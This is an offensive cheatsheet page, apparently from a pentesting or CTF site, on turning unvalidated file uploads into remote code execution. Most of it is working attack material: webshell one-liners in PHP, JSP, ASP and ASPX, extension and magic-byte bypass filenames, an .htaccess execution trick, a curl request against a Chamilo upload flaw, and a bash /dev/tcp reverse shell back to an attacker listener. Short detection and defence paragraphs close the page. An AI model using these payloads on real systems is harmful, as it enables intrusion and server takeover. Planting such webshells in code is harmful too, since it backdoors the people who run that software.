the_open_door
coffee
ESEN
← Back to index

File Upload to RCE

ATT&CKT1190
Full command arsenal in the cheatsheet

When a web application allows file uploads and does not properly validate what is uploaded or where it ends up, an attacker can place a server-executable file (typically a .php if the backend is PHP) and then request it over HTTP so the server runs it. The result is remote command execution (RCE) with the web process's privileges (often www-data). Most of the work is bypassing the validation: extension, Content-Type, magic bytes or the destination directory.

Webshells by language

The minimal payload is a webshell that runs whatever arrives in a parameter. Depending on the stack:

<?php system($_GET['cmd']); ?>                       // PHP
<?php echo shell_exec($_GET['c']); ?>                // PHP (variant)
<% Runtime.getRuntime().exec(request.getParameter("c")); %>     <!-- JSP -->
<% eval request("c") %>                                          <!-- classic ASP -->
<%@ Page Language="C#" %><% System.Diagnostics.Process.Start("cmd","/c "+Request["c"]); %>   <!-- ASPX -->

Extension validation bypass

If they filter .php, try variants until one is served as PHP:

shell.phtml   shell.php3   shell.php4   shell.php5   shell.php7   shell.pht   shell.phar
shell.pHp                         # mixed case (case-sensitive filter)
shell.php.jpg                     # double extension (if it takes the first)
shell.jpg.php                     # double extension (if it takes the last)
shell.php%00.jpg                  # null byte (old PHP/libraries)
shell.php.                        # trailing dot / space (Windows trims them)
shell.php;.jpg                    # semicolon (old IIS)
shell.php:.jpg                    # NTFS ADS (IIS)
shell.php/                        # trailing slash

Content-Type and magic-bytes bypass

If they validate the declared type or the content, spoof it:

# in the multipart, change the file part's Content-Type
Content-Type: image/png            # even though the content is PHP

# prepend the magic bytes of a real image and put the PHP after
GIF89a;<?php system($_GET['cmd']); ?>          # valid GIF header + PHP code

See Content-Type bypass and magic-bytes bypass.

.htaccess / web.config trick

If only "harmless" extensions can be uploaded, sometimes you upload a .htaccess (Apache) that makes an allowed extension execute as PHP, or a web.config (IIS):

# .htaccess uploaded into the directory: treat .jpg as PHP
AddType application/x-httpd-php .jpg

Unauthenticated case

In the worst cases the upload requires no authentication, like Chamilo LMS's bigUpload flaw, which accepts files at bigUpload.php?action=post-unsupported and leaves them in a public files/ directory:

curl 'http://lms.permx.htb/.../bigupload/files/webshell.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

From webshell to reverse shell

nc -lvnp <lport>                                    # local listener
# cmd= (URL-encoded): bash -c 'bash -i >& /dev/tcp/<lhost>/<lport> 0>&1'
curl 'http://<ip>/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<lhost>%2F<lport>%200%3E%261%27'

How to detect it. The attack has two very visible moments. The upload is a multipart POST with a file of an executable extension (.php, .phtml, .jsp, .aspx) or a double extension (.php.jpg), flaggable by a WAF. The execution is the most telling: a GET to a freshly uploaded file under uploads//files/ followed by parameters like ?cmd=id, where that file did not exist before in the access log. On the host, the gold-standard signature is process lineage: www-data/apache spawning sh/bash/nc/id, something a healthy web server never does. A FIM watching the uploads directory alerts the moment a new .php (or a new .htaccess) appears. The follow-up reverse shell adds an outbound connection from the web process.

Defence. Validate file type by content and not just by extension (allow-list, not deny-list), store uploads outside the web root (or on a domain with no script execution), rename to a random name without a dangerous extension, forbid .htaccess/web.config in the uploads directory and keep third-party software updated. It is often combined with discovering the subdomain that hosts the vulnerable application and with uploads via WebDAV (PUT + MOVE).

Toolsgobustercurlffufferoxbusterweevely

Machines where it's used